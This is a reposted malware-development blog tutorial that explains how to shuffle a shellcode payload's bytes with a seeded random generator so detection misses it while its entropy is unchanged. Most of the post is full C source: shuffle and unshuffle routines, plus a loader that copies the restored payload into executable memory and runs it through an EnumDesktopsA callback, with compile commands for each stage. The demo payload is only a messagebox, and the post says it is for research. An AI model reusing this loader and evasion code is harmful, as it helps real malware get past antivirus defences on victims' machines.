Malware development trick 43: Shuffle malicious payload. Simple C example

﷽ Hello, cybersecurity enthusiasts and white hackers! In one of my first posts back in 2022, I wrote about a terminology called Shannon’s entropy and in most of the posts on my blog I drew attention to this concept in malware research and analysis. Recently one of my readers asked an interesting question, of course he is not the first to ask about this and this technique has long been known to many. byte shuffling technique The idea is: make the payload unrecognizable by shuffling its bytes, which will not change its entropy (unlike usual alorithms such as AES and other). It works because seed is used, making random shuffling reversible. In theory the entropy should be the same for normal payload and for shuffled, because of how entropy is calculated practical example 1 Let’s check this in practice. For this reason, first of all, create simple C code for shuffling bytes: // function to shuffle the bytes of a file void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) { // Read the input file as bytes FILE *in = fopen(input_file, "rb"); if (in == NULL) { perror("fopen input file failed"); return; } // get the size of the file fseek(in, 0, SEEK_END); size_t size = ftell(in); fseek(in, 0, SEEK_SET); // allocate memory for the file data char *data = (char *)malloc(size); if (data == NULL) { perror(“malloc failed”); fclose(in); return; } // read the file data into the buffer if (fread(data, 1, size, in) != size) { perror(“fread failed”); fclose(in); free(data); return; } fclose(in); // create a list of indices int *indices = (int *)malloc(size * sizeof(int)); if (indices == NULL) { perror(“malloc failed”); free(data); return; } for (size_t i = 0; i < size; ++i) { indices[i] = i; } // shuffle the indices srand(seed); for (size_t i = size - 1; i > 0; --i) { size_t j = rand() % (i + 1); int temp = indices[i]; indices[i] = indices[j]; indices[j] = temp; } // create a new buffer for shuffled data char *shuffled_data = (char *)malloc(size); if (shuffled_data == NULL) { perror(“malloc failed”); free(data); free(indices); return; } // rearrange the data according to shuffled indices for (size_t i = 0; i < size; ++i) { shuffled_data[i] = data[indices[i]]; } // write the shuffled data to the output file FILE *out = fopen(output_file, “wb”); if (out == NULL) { perror(“fopen output file failed”); free(data); free(indices); free(shuffled_data); return; } if (fwrite(shuffled_data, 1, size, out) != size) { perror(“fwrite failed”); fclose(out); free(data); free(indices); free(shuffled_data); return; } fclose(out); // free allocated memory free(data); free(indices); free(shuffled_data); } As you can see, the logic is pretty simple. Just implemented the shuffling algorithm using arrays and loops. In this code we used FILE * pointers and functions like fopen, fclose, fread, and fwrite for file operations, used malloc for dynamic memory allocation and free to deallocate it. Also we used the standard C library function srand for seeding the random number generator. Let’s say we have a binary payload in file: hexdump -C meow.bin As usually, for simplicity, it’s just meow-meow messagebox payload. Then add logic to shuffle file and save it to another: // function to shuffle a file and save it void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) { shuffle_bytes(input_file, output_file, seed); } int main() { const char *input_file = “meow.bin”; const char *shuffled_file = “shuffled.bin”; unsigned int seed = 12345; // Shuffle the input file and save it shuffle_file_and_save(input_file, shuffled_file, seed); return 0; } Finally, our simple PoC looks like this (hack.c): /* * hack.c * shuffle bytes in payload * author: @cocomelonc * https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html */ #include #include #include #include #include // function to shuffle the bytes of a file void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) { // Read the input file as bytes FILE *in = fopen(input_file, “rb”); if (in == NULL) { perror(“fopen input file failed”); return; } // get the size of the file fseek(in, 0, SEEK_END); size_t size = ftell(in); fseek(in, 0, SEEK_SET); // allocate memory for the file data char *data = (char *)malloc(size); if (data == NULL) { perror(“malloc failed”); fclose(in); return; } // read the file data into the buffer if (fread(data, 1, size, in) != size) { perror(“fread failed”); fclose(in); free(data); return; } fclose(in); // create a list of indices int *indices = (int *)malloc(size * sizeof(int)); if (indices == NULL) { perror(“malloc failed”); free(data); return; } for (size_t i = 0; i < size; ++i) { indices[i] = i; } // shuffle the indices srand(seed); for (size_t i = size - 1; i > 0; --i) { size_t j = rand() % (i + 1); int temp = indices[i]; indices[i] = indices[j]; indices[j] = temp; } // create a new buffer for shuffled data char *shuffled_data = (char *)malloc(size

Oct 1, 2024 - 12:00
 0  1
Malware development trick 43: Shuffle malicious payload. Simple C example

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my first posts back in 2022, I wrote about a terminology called Shannon’s entropy and in most of the posts on my blog I drew attention to this concept in malware research and analysis.

Recently one of my readers asked an interesting question, of course he is not the first to ask about this and this technique has long been known to many.

byte shuffling technique

The idea is: make the payload unrecognizable by shuffling its bytes, which will not change its entropy (unlike usual alorithms such as AES and other). It works because seed is used, making random shuffling reversible.

In theory the entropy should be the same for normal payload and for shuffled, because of how entropy is calculated

practical example 1

Let’s check this in practice. For this reason, first of all, create simple C code for shuffling bytes:

// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
  // Read the input file as bytes
  FILE *in = fopen(input_file, "rb");
  if (in == NULL) {
    perror("fopen input file failed");
    return;
  }

// get the size of the file
fseek(in, 0, SEEK_END);
size_t size = ftell(in);
fseek(in, 0, SEEK_SET);

// allocate memory for the file data
char *data = (char *)malloc(size);
if (data == NULL) {
perror(“malloc failed”);
fclose(in);
return;
}

// read the file data into the buffer
if (fread(data, 1, size, in) != size) {
perror(“fread failed”);
fclose(in);
free(data);
return;
}
fclose(in);

// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror(“malloc failed”);
free(data);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}

// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}

// create a new buffer for shuffled data
char *shuffled_data = (char *)malloc(size);
if (shuffled_data == NULL) {
perror(“malloc failed”);
free(data);
free(indices);
return;
}

// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
shuffled_data[i] = data[indices[i]];
}

// write the shuffled data to the output file
FILE *out = fopen(output_file, “wb”);
if (out == NULL) {
perror(“fopen output file failed”);
free(data);
free(indices);
free(shuffled_data);
return;
}
if (fwrite(shuffled_data, 1, size, out) != size) {
perror(“fwrite failed”);
fclose(out);
free(data);
free(indices);
free(shuffled_data);
return;
}
fclose(out);

// free allocated memory
free(data);
free(indices);
free(shuffled_data);
}

As you can see, the logic is pretty simple. Just implemented the shuffling algorithm using arrays and loops. In this code we used FILE * pointers and functions like fopen, fclose, fread, and fwrite for file operations, used malloc for dynamic memory allocation and free to deallocate it. Also we used the standard C library function srand for seeding the random number generator.

Let’s say we have a binary payload in file:

hexdump -C meow.bin

malware

As usually, for simplicity, it’s just meow-meow messagebox payload.

Then add logic to shuffle file and save it to another:

// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
  shuffle_bytes(input_file, output_file, seed);
}

int main() {
const char *input_file = “meow.bin”;
const char *shuffled_file = “shuffled.bin”;
unsigned int seed = 12345;

// Shuffle the input file and save it
shuffle_file_and_save(input_file, shuffled_file, seed);

return 0;
}

Finally, our simple PoC looks like this (hack.c):

/*
 * hack.c
 * shuffle bytes in payload
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
 */
#include 
#include 
#include 
#include 
#include 

// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
// Read the input file as bytes
FILE *in = fopen(input_file, “rb”);
if (in == NULL) {
perror(“fopen input file failed”);
return;
}

// get the size of the file
fseek(in, 0, SEEK_END);
size_t size = ftell(in);
fseek(in, 0, SEEK_SET);

// allocate memory for the file data
char *data = (char *)malloc(size);
if (data == NULL) {
perror(“malloc failed”);
fclose(in);
return;
}

// read the file data into the buffer
if (fread(data, 1, size, in) != size) {
perror(“fread failed”);
fclose(in);
free(data);
return;
}
fclose(in);

// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror(“malloc failed”);
free(data);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}

// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}

// create a new buffer for shuffled data
char *shuffled_data = (char *)malloc(size);
if (shuffled_data == NULL) {
perror(“malloc failed”);
free(data);
free(indices);
return;
}

// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
shuffled_data[i] = data[indices[i]];
}

// write the shuffled data to the output file
FILE *out = fopen(output_file, “wb”);
if (out == NULL) {
perror(“fopen output file failed”);
free(data);
free(indices);
free(shuffled_data);
return;
}
if (fwrite(shuffled_data, 1, size, out) != size) {
perror(“fwrite failed”);
fclose(out);
free(data);
free(indices);
free(shuffled_data);
return;
}
fclose(out);

// free allocated memory
free(data);
free(indices);
free(shuffled_data);
}

// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
shuffle_bytes(input_file, output_file, seed);
}

int main() {
const char *input_file = “meow.bin”;
const char *shuffled_file = “shuffled.bin”;
unsigned int seed = 12345;

// Shuffle the input file and save it
shuffle_file_and_save(input_file, shuffled_file, seed);

return 0;
}

demo 1

Let’s go to see everything in action. Compile it (in my linux machine):

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

malware

Then run it in my Windows VM:

.\hack.exe

malware

As a result we get a new file:

malware

practical example 2

What about deshuffle logic? Just add new function like this:

void deshuffle_bytes(char* data, size_t size, const char* output_file, unsigned int seed) {
  // create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    return;
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}

// create a new buffer for deshuffled data
char *deshuffled_data = (char *)malloc(size);
if (deshuffled_data == NULL) {
perror(“malloc failed”);
free(indices);
return;
}

// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
deshuffled_data[indices[i]] = data[i];
}

// write the deshuffled data to the output file
FILE *out = fopen(output_file, “wb”);
if (out == NULL) {
perror(“fopen output file failed”);
free(indices);
free(deshuffled_data);
return;
}
if (fwrite(deshuffled_data, 1, size, out) != size) {
perror(“fwrite failed”);
fclose(out);
free(indices);
free(deshuffled_data);
return;
}
fclose(out);

// Free allocated memory
free(indices);
free(deshuffled_data);
}

Let’s create a simple logic: read payload shuffle bytes save it then deshuffle it. Full source code looks like this (hack2.c):

/*
 * hack2.c
 * shuffle bytes in payload
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
 */
#include 
#include 
#include 
#include 
#include 

// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
// read the input file as bytes
FILE *in = fopen(input_file, “rb”);
if (in == NULL) {
perror(“fopen input file failed”);
return;
}

// get the size of the file
fseek(in, 0, SEEK_END);
size_t size = ftell(in);
fseek(in, 0, SEEK_SET);

// allocate memory for the file data
char *data = (char *)malloc(size);
if (data == NULL) {
perror(“malloc failed”);
fclose(in);
return;
}

// read the file data into the buffer
if (fread(data, 1, size, in) != size) {
perror(“fread failed”);
fclose(in);
free(data);
return;
}
fclose(in);

// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror(“malloc failed”);
free(data);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}

// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}

// create a new buffer for shuffled data
char *shuffled_data = (char *)malloc(size);
if (shuffled_data == NULL) {
perror(“malloc failed”);
free(data);
free(indices);
return;
}

// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
shuffled_data[i] = data[indices[i]];
}

// write the shuffled data to the output file
FILE *out = fopen(output_file, “wb”);
if (out == NULL) {
perror(“fopen output file failed”);
free(data);
free(indices);
free(shuffled_data);
return;
}
if (fwrite(shuffled_data, 1, size, out) != size) {
perror(“fwrite failed”);
fclose(out);
free(data);
free(indices);
free(shuffled_data);
return;
}
fclose(out);

// free allocated memory
free(data);
free(indices);
free(shuffled_data);
}

void deshuffle_bytes(char* data, size_t size, const char* output_file, unsigned int seed) {
// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror(“malloc failed”);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}

// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}

// create a new buffer for deshuffled data
char *deshuffled_data = (char *)malloc(size);
if (deshuffled_data == NULL) {
perror(“malloc failed”);
free(indices);
return;
}

// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
deshuffled_data[indices[i]] = data[i];
}

// write the deshuffled data to the output file
FILE *out = fopen(output_file, “wb”);
if (out == NULL) {
perror(“fopen output file failed”);
free(indices);
free(deshuffled_data);
return;
}
if (fwrite(deshuffled_data, 1, size, out) != size) {
perror(“fwrite failed”);
fclose(out);
free(indices);
free(deshuffled_data);
return;
}
fclose(out);

// Free allocated memory
free(indices);
free(deshuffled_data);
}

// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
shuffle_bytes(input_file, output_file, seed);
}

int main() {
const char *input_file = “meow.bin”;
const char *shuffled_file = “shuffled.bin”;
unsigned int seed = 12345;

// shuffle the input file and save it
shuffle_file_and_save(input_file, shuffled_file, seed);

// read the shuffled file
FILE *shuffled_fp = fopen(shuffled_file, “rb”);
if (shuffled_fp == NULL) {
perror(“fopen shuffled file failed”);
return 1;
}
fseek(shuffled_fp, 0, SEEK_END);
size_t shuffled_size = ftell(shuffled_fp);
fseek(shuffled_fp, 0, SEEK_SET);
char *shuffled_data = (char *)malloc(shuffled_size);
if (shuffled_data == NULL) {
perror(“malloc failed”);
fclose(shuffled_fp);
return 1;
}
if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
perror(“fread failed”);
fclose(shuffled_fp);
free(shuffled_data);
return 1;
}
fclose(shuffled_fp);

// deshuffle the data
const char *deshuffled_file = “deshuffled.bin”;
deshuffle_bytes(shuffled_data, shuffled_size, deshuffled_file, seed);

free(shuffled_data);

return 0;
}

demo 2

Compile second example:

x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

malware

Then run it in my Windows VM:

.\hack2.exe

malware

As a result we get a new file deshuffled.bin:

malware

As you can see, this file is the same as original meow.bin.

practical example 3

Let’s update our main logic: read our meow-meow payload from shuffled file, deshuffle it and run it.

First of all, update deshuffle logic:

// deshuffle bytes function
char* deshuffle_bytes(char* data, size_t size, unsigned int seed) {
  // Create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    return NULL; // Return NULL on error
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}

// create a new buffer for deshuffled data
char *deshuffled_data = (char *)malloc(size);
if (deshuffled_data == NULL) {
perror(“malloc failed”);
free(indices);
return NULL; // Return NULL on error
}

// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
deshuffled_data[indices[i]] = data[i];
}

// free the original data buffer (we don’t need it anymore)
free(data);

// return the deshuffled data
return deshuffled_data;
}

As you can see, in this case the function now returns char*, which is the pointer to the deshuffled data.

Then the main function can correctly receive the deshuffled data pointer from deshuffle_bytes and proceed with execution like this:

int main() {
  const char *input_file = "shuffled.bin";
  unsigned int seed = 12345;

// read the shuffled file
FILE *shuffled_fp = fopen(input_file, “rb”);
if (shuffled_fp == NULL) {
perror(“fopen shuffled file failed”);
return 1;
}
fseek(shuffled_fp, 0, SEEK_END);
size_t shuffled_size = ftell(shuffled_fp);
fseek(shuffled_fp, 0, SEEK_SET);
char *shuffled_data = (char *)malloc(shuffled_size);
if (shuffled_data == NULL) {
perror(“malloc failed”);
fclose(shuffled_fp);
return 1;
}
if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
perror(“fread failed”);
fclose(shuffled_fp);
free(shuffled_data);
return 1;
}
fclose(shuffled_fp);

// deshuffle the data and run it directly
char* deshuffled_data = deshuffle_bytes(shuffled_data, shuffled_size, seed);
if (deshuffled_data == NULL) {
return 1;
}

printf(“deshuffled payload:\n”);
for (int i = 0; i < shuffled_size; i++) {
printf(“%02x “, deshuffled_data[i]);
}
printf(”\n\n”);

// allocate memory and copy deshuffled data
LPVOID mem = VirtualAlloc(NULL, shuffled_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
perror(“VirtualAlloc failed”);
free(deshuffled_data);
return 1;
}
RtlMoveMemory(mem, deshuffled_data, shuffled_size);

// run the deshuffled payload
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

// free allocated memory
free(deshuffled_data);
return 0;
}

As you can see, for simplicity, we just run payload via EnumDesktopsA function.

Full source code looks like this (hack3.c):

/*
 * hack3.c
 * deshuffle bytes in payload and run
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
 */
#include 
#include 
#include 
#include 
#include 

// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
// read the input file as bytes
FILE *in = fopen(input_file, “rb”);
if (in == NULL) {
perror(“fopen input file failed”);
return;
}

// get the size of the file
fseek(in, 0, SEEK_END);
size_t size = ftell(in);
fseek(in, 0, SEEK_SET);

// allocate memory for the file data
char *data = (char *)malloc(size);
if (data == NULL) {
perror(“malloc failed”);
fclose(in);
return;
}

// read the file data into the buffer
if (fread(data, 1, size, in) != size) {
perror(“fread failed”);
fclose(in);
free(data);
return;
}
fclose(in);

// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror(“malloc failed”);
free(data);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}

// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}

// create a new buffer for shuffled data
char *shuffled_data = (char *)malloc(size);
if (shuffled_data == NULL) {
perror(“malloc failed”);
free(data);
free(indices);
return;
}

// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
shuffled_data[i] = data[indices[i]];
}

// write the shuffled data to the output file
FILE *out = fopen(output_file, “wb”);
if (out == NULL) {
perror(“fopen output file failed”);
free(data);
free(indices);
free(shuffled_data);
return;
}
if (fwrite(shuffled_data, 1, size, out) != size) {
perror(“fwrite failed”);
fclose(out);
free(data);
free(indices);
free(shuffled_data);
return;
}
fclose(out);

// free allocated memory
free(data);
free(indices);
free(shuffled_data);
}

// deshuffle bytes function
char* deshuffle_bytes(char* data, size_t size, unsigned int seed) {
// Create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror(“malloc failed”);
return NULL; // Return NULL on error
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}

// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}

// create a new buffer for deshuffled data
char *deshuffled_data = (char *)malloc(size);
if (deshuffled_data == NULL) {
perror(“malloc failed”);
free(indices);
return NULL; // Return NULL on error
}

// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
deshuffled_data[indices[i]] = data[i];
}

// free the original data buffer (we don’t need it anymore)
free(data);

// return the deshuffled data
return deshuffled_data;
}

int main() {
const char *input_file = “shuffled.bin”;
unsigned int seed = 12345;

// read the shuffled file
FILE *shuffled_fp = fopen(input_file, “rb”);
if (shuffled_fp == NULL) {
perror(“fopen shuffled file failed”);
return 1;
}
fseek(shuffled_fp, 0, SEEK_END);
size_t shuffled_size = ftell(shuffled_fp);
fseek(shuffled_fp, 0, SEEK_SET);
char *shuffled_data = (char *)malloc(shuffled_size);
if (shuffled_data == NULL) {
perror(“malloc failed”);
fclose(shuffled_fp);
return 1;
}
if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
perror(“fread failed”);
fclose(shuffled_fp);
free(shuffled_data);
return 1;
}
fclose(shuffled_fp);

// deshuffle the data and run it directly
char* deshuffled_data = deshuffle_bytes(shuffled_data, shuffled_size, seed);
if (deshuffled_data == NULL) {
return 1;
}

printf(“deshuffled payload:\n”);
for (int i = 0; i < shuffled_size; i++) {
printf(“%02x “, deshuffled_data[i]);
}
printf(”\n\n”);

// allocate memory and copy deshuffled data
LPVOID mem = VirtualAlloc(NULL, shuffled_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
perror(“VirtualAlloc failed”);
free(deshuffled_data);
return 1;
}
RtlMoveMemory(mem, deshuffled_data, shuffled_size);

// run the deshuffled payload
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

// free allocated memory
free(deshuffled_data);
return 0;
}

demo 3

Let’s go to see everything in action. Compile it (in my linux machine):

x86_64-w64-mingw32-gcc -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

cryptography

Then, just run it in the victim’s machine (windows 11 x64 in my case):

.\hack3.exe

cryptography

cryptography

As you can see, everything is worked perfectly! =^..^=

Calculating Shannon entropy:

python3 entropy.py -f hack3.exe

cryptography

Our payload in the .text section.

I hope this post with practical example is useful for malware researchers, red teamers, spreads awareness to the blue teamers of this interesting technique.

Shannon entropy
AES encryption example
DES encryption example
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Article Link: Malware development trick 43: Shuffle malicious payload. Simple C example. - cocomelonc

1 post - 1 participant

Read full topic

What's Your Reaction?

like

dislike

love

funny

angry

sad

wow